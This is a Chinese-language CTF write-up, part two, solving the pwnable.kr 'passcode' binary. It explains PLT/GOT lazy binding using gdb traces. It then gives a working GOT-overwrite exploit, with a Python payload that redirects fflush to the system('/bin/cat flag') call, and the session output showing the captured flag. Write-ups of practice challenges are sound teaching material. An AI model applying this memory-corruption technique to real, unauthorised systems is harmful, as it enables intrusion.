Pwn(4.2) - passcode (後)
[上回傳送門](https://stoneapp.tech/cavern/post.php?pid=904)
上回我們看到 `name` 只能影響到 `passcode1`
所以沒辦法用設定 `passcode1` `passcode2` 的方式來通過
這次我們會利用能安排 `passcode1` 這個特點用另外的方法來做,不過我們需要先
# 簡單了解 Relocation
不知道你有沒有注意到過
在反組繹出來的東西裡面,很多 function call 總是長成這個樣子
`call 0x8048430 <fflush@plt>` `call 0x8048420 <printf@plt>` 等等
後面總是跟著奇怪的 @plt 字尾
現在我們來看看這個到底是什麼東西
## 透過 welcome 實際追蹤
我們可以發現 `welcome` 裡面有兩次 `call 0x8048420 <printf@plt>` 利用這個來看一下吧
gdb 打開,並在 `welcome` 的兩個 `printf` 處下斷點(自己的位置自己看,反正我的是在下面兩個位置)
然後跑起來
```shell
$ gdb passcode
gdb-peda$ b *0x08048625
gdb-peda$ b *0x0804864d
gdb-peda$ r
[----------------------------------registers-----------------------------------]
EAX: 0x80487cb ("enter you name : ")
EBX: 0x0
ECX: 0x86c0160 ("Toddler's Secure Login System 1.0 beta.\n")
EDX: 0xf7f7d890 --> 0x0
ESI: 0xf7f7c000 --> 0x1d7d8c
EDI: 0x0
EBP: 0xfff9bd08 --> 0xfff9bd28 --> 0x0
ESP: 0xfff9bc80 --> 0x80487cb ("enter you name : ")
EIP: 0x8048625 (<welcome+28>: call 0x8048420 <printf@plt>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804861b <welcome+18>: xor eax,eax
0x804861d <welcome+20>: mov eax,0x80487cb
0x8048622 <welcome+25>: mov DWORD PTR [esp],eax
=> 0x8048625 <welcome+28>: call 0x8048420 <printf@plt>
0x804862a <welcome+33>: mov eax,0x80487dd
0x804862f <welcome+38>: lea edx,[ebp-0x70]
0x8048632 <welcome+41>: mov DWORD PTR [esp+0x4],edx
0x8048636 <welcome+45>: mov DWORD PTR [esp],eax
Guessed arguments:
arg[0]: 0x80487cb ("enter you name : ")
[------------------------------------stack-------------------------------------]
0000| 0xfff9bc80 --> 0x80487cb ("enter you name : ")
0004| 0xfff9bc84 --> 0xf7f7c000 --> 0x1d7d8c
0008| 0xfff9bc88 --> 0xfff9bd08 --> 0xfff9bd28 --> 0x0
0012| 0xfff9bc8c --> 0xf7e171bd (<_IO_new_do_write+29>: cmp ebx,eax)
0016| 0xfff9bc90 --> 0xf7f7cd80 --> 0xfbad2a84
0020| 0xfff9bc94 --> 0x80487f0 ("Toddler's Secure Login System 1.0 beta.")
0024| 0xfff9bc98 --> 0xf7f7cd80 --> 0xfbad2a84
0028| 0xfff9bc9c --> 0xf7e1758b (<_IO_new_file_overflow+267>: add esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048625 in welcome ()
```
我們用 `si` (step instruction) 來進入 `call`
```shell
gdb-peda$ si
[----------------------------------registers-----------------------------------]
EAX: 0x80487cb ("enter you name : ")
EBX: 0x0
ECX: 0x86c0160 ("Toddler's Secure Login System 1.0 beta.\n")
EDX: 0xf7f7d890 --> 0x0
ESI: 0xf7f7c000 --> 0x1d7d8c
EDI: 0x0
EBP: 0xfff9bd08 --> 0xfff9bd28 --> 0x0
ESP: 0xfff9bc7c --> 0x804862a (<welcome+33>: mov eax,0x80487dd)
EIP: 0x8048420 (<printf@plt>: jmp DWORD PTR ds:0x804a000)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048416: jmp DWORD PTR ds:0x8049ffc
0x804841c: add BYTE PTR [eax],al
0x804841e: add BYTE PTR [eax],al
=> 0x8048420 <printf@plt>: jmp DWORD PTR ds:0x804a000
| 0x8048426 <printf@plt+6>: push 0x0
| 0x804842b <printf@plt+11>: jmp 0x8048410
| 0x8048430 <fflush@plt>: jmp DWORD PTR ds:0x804a004
| 0x8048436 <fflush@plt+6>: push 0x8
|-> 0x8048426 <printf@plt+6>: push 0x0
0x804842b <printf@plt+11>: jmp 0x8048410
0x8048430 <fflush@plt>: jmp DWORD PTR ds:0x804a004
0x8048436 <fflush@plt+6>: push 0x8
JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0xfff9bc7c --> 0x804862a (<welcome+33>: mov eax,0x80487dd)
0004| 0xfff9bc80 --> 0x80487cb ("enter you name : ")
0008| 0xfff9bc84 --> 0xf7f7c000 --> 0x1d7d8c
0012| 0xfff9bc88 --> 0xfff9bd08 --> 0xfff9bd28 --> 0x0
0016| 0xfff9bc8c --> 0xf7e171bd (<_IO_new_do_write+29>: cmp ebx,eax)
0020| 0xfff9bc90 --> 0xf7f7cd80 --> 0xfbad2a84
0024| 0xfff9bc94 --> 0x80487f0 ("Toddler's Secure Login System 1.0 beta.")
0028| 0xfff9bc98 --> 0xf7f7cd80 --> 0xfbad2a84
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048420 in printf@plt ()
```
首先可以看到 `printf@plt` 的地方就只有三行,另外第一行的意思是 `jmp *ds:0x804a000`
也就是說是要跳到 `0x804a000` 的內容所指示的地方,不是跳到 `0x804a000` 喔
我們可以用 gdb 看一下那裡放了什麼
(x/w , x 是 examine , w 則是說一次看 4 個 bytes ,詳細看 https://sourceware.org/gdb/current/onlinedocs/gdb/Memory.html)
```shell
gdb-peda$ x/w 0x804a000
0x804a000 <printf@got.plt>: 0x08048426
```
然後就發現很鬼畜的事:jmp 目的地是下面一行
如果仔細看一下 `printf@plt` 附近的程式就會發現全部都是長這樣
```asm
0x8048420 <printf@plt>: jmp DWORD PTR ds:0x804a000
0x8048426 <printf@plt+6>: push 0x0
0x804842b <printf@plt+11>: jmp 0x8048410
0x8048430 <fflush@plt>: jmp DWORD PTR ds:0x804a004
0x8048436 <fflush@plt+6>: push 0x8
0x804843b <fflush@plt+11>: jmp 0x8048410
0x8048440 <__stack_chk_fail@plt>: jmp DWORD PTR ds:0x804a008
0x8048446 <__stack_chk_fail@plt+6>: push 0x10
0x804844b <__stack_chk_fail@plt+11>: jmp 0x8048410
0x8048450 <puts@plt>: jmp DWORD PTR ds:0x804a00c
0x8048456 <puts@plt+6>: push 0x18
0x804845b <puts@plt+11>: jmp 0x8048410
0x8048460 <system@plt>: jmp DWORD PTR ds:0x804a010
0x8048466 <system@plt+6>: push 0x20
0x804846b <system@plt+11>: jmp 0x8048410
0x8048470 <__gmon_start__@plt>: jmp DWORD PTR ds:0x804a014
0x8048476 <__gmon_start__@plt+6>: push 0x28
0x804847b <__gmon_start__@plt+11>: jmp 0x8048410
```
好我們先不管跳到下面一行要幹什麼
反正繼續往下
```shell
gdb-peda$ c
Continuing.
enter you name : abth
[----------------------------------registers-----------------------------------]
EAX: 0x80487e3 ("Welcome %s!\n")
EBX: 0x0
ECX: 0x1
EDX: 0xfff9bc98 ("abth")
ESI: 0xf7f7c000 --> 0x1d7d8c
EDI: 0x0
EBP: 0xfff9bd08 --> 0xfff9bd28 --> 0x0
ESP: 0xfff9bc80 --> 0x80487e3 ("Welcome %s!\n")
EIP: 0x804864d (<welcome+68>: call 0x8048420 <printf@plt>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048643 <welcome+58>: lea edx,[ebp-0x70]
0x8048646 <welcome+61>: mov DWORD PTR [esp+0x4],edx
0x804864a <welcome+65>: mov DWORD PTR [esp],eax
=> 0x804864d <welcome+68>: call 0x8048420 <printf@plt>
0x8048652 <welcome+73>: mov eax,DWORD PTR [ebp-0xc]
0x8048655 <welcome+76>: xor eax,DWORD PTR gs:0x14
0x804865c <welcome+83>: je 0x8048663 <welcome+90>
0x804865e <welcome+85>: call 0x8048440 <__stack_chk_fail@plt>
Guessed arguments:
arg[0]: 0x80487e3 ("Welcome %s!\n")
arg[1]: 0xfff9bc98 ("abth")
[------------------------------------stack-------------------------------------]
0000| 0xfff9bc80 --> 0x80487e3 ("Welcome %s!\n")
0004| 0xfff9bc84 --> 0xfff9bc98 ("abth")
0008| 0xfff9bc88 --> 0xfff9bd08 --> 0xfff9bd28 --> 0x0
0012| 0xfff9bc8c --> 0xf7e171bd (<_IO_new_do_write+29>: cmp ebx,eax)
0016| 0xfff9bc90 --> 0xf7f7cd80 --> 0xfbad2a84
0020| 0xfff9bc94 --> 0x80487f0 ("Toddler's Secure Login System 1.0 beta.")
0024| 0xfff9bc98 ("abth")
0028| 0xfff9bc9c --> 0xf7e17500 (<_IO_new_file_overflow+128>: test edx,edx)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0x0804864d in welcome ()
```
然後遇到第二次的 `printf@plt`
我們再進去看看
```shell
gdb-peda$ si
[----------------------------------registers-----------------------------------]
EAX: 0x80487e3 ("Welcome %s!\n")
EBX: 0x0
ECX: 0x1
EDX: 0xfff9bc98 ("abth")
ESI: 0xf7f7c000 --> 0x1d7d8c
EDI: 0x0
EBP: 0xfff9bd08 --> 0xfff9bd28 --> 0x0
ESP: 0xfff9bc7c --> 0x8048652 (<welcome+73>: mov eax,DWORD PTR [ebp-0xc])
EIP: 0x8048420 (<printf@plt>: jmp DWORD PTR ds:0x804a000)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048416: jmp DWORD PTR ds:0x8049ffc
0x804841c: add BYTE PTR [eax],al
0x804841e: add BYTE PTR [eax],al
=> 0x8048420 <printf@plt>: jmp DWORD PTR ds:0x804a000
| 0x8048426 <printf@plt+6>: push 0x0
| 0x804842b <printf@plt+11>: jmp 0x8048410
| 0x8048430 <fflush@plt>: jmp DWORD PTR ds:0x804a004
| 0x8048436 <fflush@plt+6>: push 0x8
|-> 0xf7df5430 <__printf>: call 0xf7edb2c9 <__x86.get_pc_thunk.ax>
0xf7df5435 <__printf+5>: add eax,0x186bcb
0xf7df543a <__printf+10>: sub esp,0xc
0xf7df543d <__printf+13>: mov eax,DWORD PTR [eax-0x5c]
JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0xfff9bc7c --> 0x8048652 (<welcome+73>: mov eax,DWORD PTR [ebp-0xc])
0004| 0xfff9bc80 --> 0x80487e3 ("Welcome %s!\n")
0008| 0xfff9bc84 --> 0xfff9bc98 ("abth")
0012| 0xfff9bc88 --> 0xfff9bd08 --> 0xfff9bd28 --> 0x0
0016| 0xfff9bc8c --> 0xf7e171bd (<_IO_new_do_write+29>: cmp ebx,eax)
0020| 0xfff9bc90 --> 0xf7f7cd80 --> 0xfbad2a84
0024| 0xfff9bc94 --> 0x80487f0 ("Toddler's Secure Login System 1.0 beta.")
0028| 0xfff9bc98 ("abth")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048420 in printf@plt ()
```
再看看 0x804a000
```shell
gdb-peda$ x/w 0x804a000
0x804a000 <printf@got.plt>: 0xf7df5430
```
然後你就發現
哇好神奇,現在他直接 jmp 到 0xf7df5430 ,也就是真正的 printf 了(其實上面也有給jmp要去的地方)
(`jmp DWORD PTR ds:0x804a000` 下面兩行大概就是在做這件神奇的事,但是怎麼弄的我就不知道了,我就爛)
所以就可以發現兩件事
1. `printf@plt` (跟其他一些@plt)會跳去 `0x804a000` (每個不一樣,但是模式一樣,相信能看出來)所指定的地方,而 `0x804a000` 指定的地方第一次會是 jmp 的下一行,後面就會變成函數真正的位置
2. 像是 `0x804a000` 這種位置的內容可以改動,好耶
結合上面兩點跟 `passcode1` 的缺陷,我們可以提出攻擊方式了
思路大概是這樣:
想執行 `system("/bin/cat flag");` 這一行
-> 如果能把 @plt 裡面用來指定地址的內容寫成 `system("/bin/cat flag");` 的位置,就可以跳過去執行
-> 先用 `welcome` 設定 `passcode1` 的值,然後用 `login` 裡面有問題的 `scanf` 去寫
來做吧
看c code
```c
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
```
因為要用 `scanf` 把 `passcode1` 的內容當成位置寫東西進去,所以要做到第九行
那我們就挑第十行的 `fflush` 下手ㄅ
首先要找到 `fflush@plt` 裡面指定的位置,用什麼工具都好
這裡因為懶得再開gdb了(這篇寫了好幾天,笑死)所以直接用 `objdump` 看
(這裡只放需要的地方)
```shell
$ objdump -M intel -d passcode
.......
08048430 <fflush@plt>:
8048430: ff 25 04 a0 04 08 jmp DWORD PTR ds:0x804a004
8048436: 68 08 00 00 00 push 0x8
804843b: e9 d0 ff ff ff jmp 8048410 <.plt>
.......
```
看起來叫 `fflush` 的時候會有 `jmp *0x804a004` 的動作
所以我們知道 `passcode1` 要弄成 `0x804a004`
裡面的值則是要放 `system("/bin/cat flag");` 的位置
再找一下,然後再 `login` 裡面就能找到
```asm
.....
80485e3: c7 04 24 af 87 04 08 mov DWORD PTR [esp],0x80487af
80485ea: e8 71 fe ff ff call 8048460 <system@plt>
.....
```
所以就是要把 `0x804a004` 的內容寫成 `0x80485e3`
詳細整理下步驟
1. 利用 `welcome` 把 `passcode1` 的值變成 `0x804a004`
2. 利用 `login` 裡面的 `scanf("%d", passcode1);` 讓 `0x804a004` 的內容變成 `0x80485e3`
3. 執行到 `fflush` 的時候就會跳到我們想執行的地方了,好耶
然後就可以開始 python 了
不過這個網站需要先 ssh 過去,然後再自己執行
所以就直接在上面用 python 的 interactive mode ㄅ
順帶一提,這裡用 python 2 因為他上面 python3 沒有裝 pwntool
```shell
passcode@pwnable:~$ python
Python 2.7.12 (default, Nov 12 2018, 14:36:49)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import pwn
>>> message = 'a'*96 + b'\x04' + b'\xa0' + b'\x04' + b'\x08'
>>> p = pwn.process("./passcode")
[x] Starting local process './passcode'
[+] Starting local process './passcode': pid 59822
>>> p.sendline(message)
>>> p.interactive()
[*] Switching to interactive mode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
134514147
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)
[*] Process './passcode' stopped with exit code 0 (pid 59822)
[*] Got EOF while reading in interactive
[*] Got EOF while sending in interactive
```
`Sorry mom.. I got confused about scanf usage :(` flag 出了
sumbit,通過,開心
附註:134514147 = 0x80485e3
2021-07-26 15:27:56
留言
Last fetch: --:--
現在還沒有留言!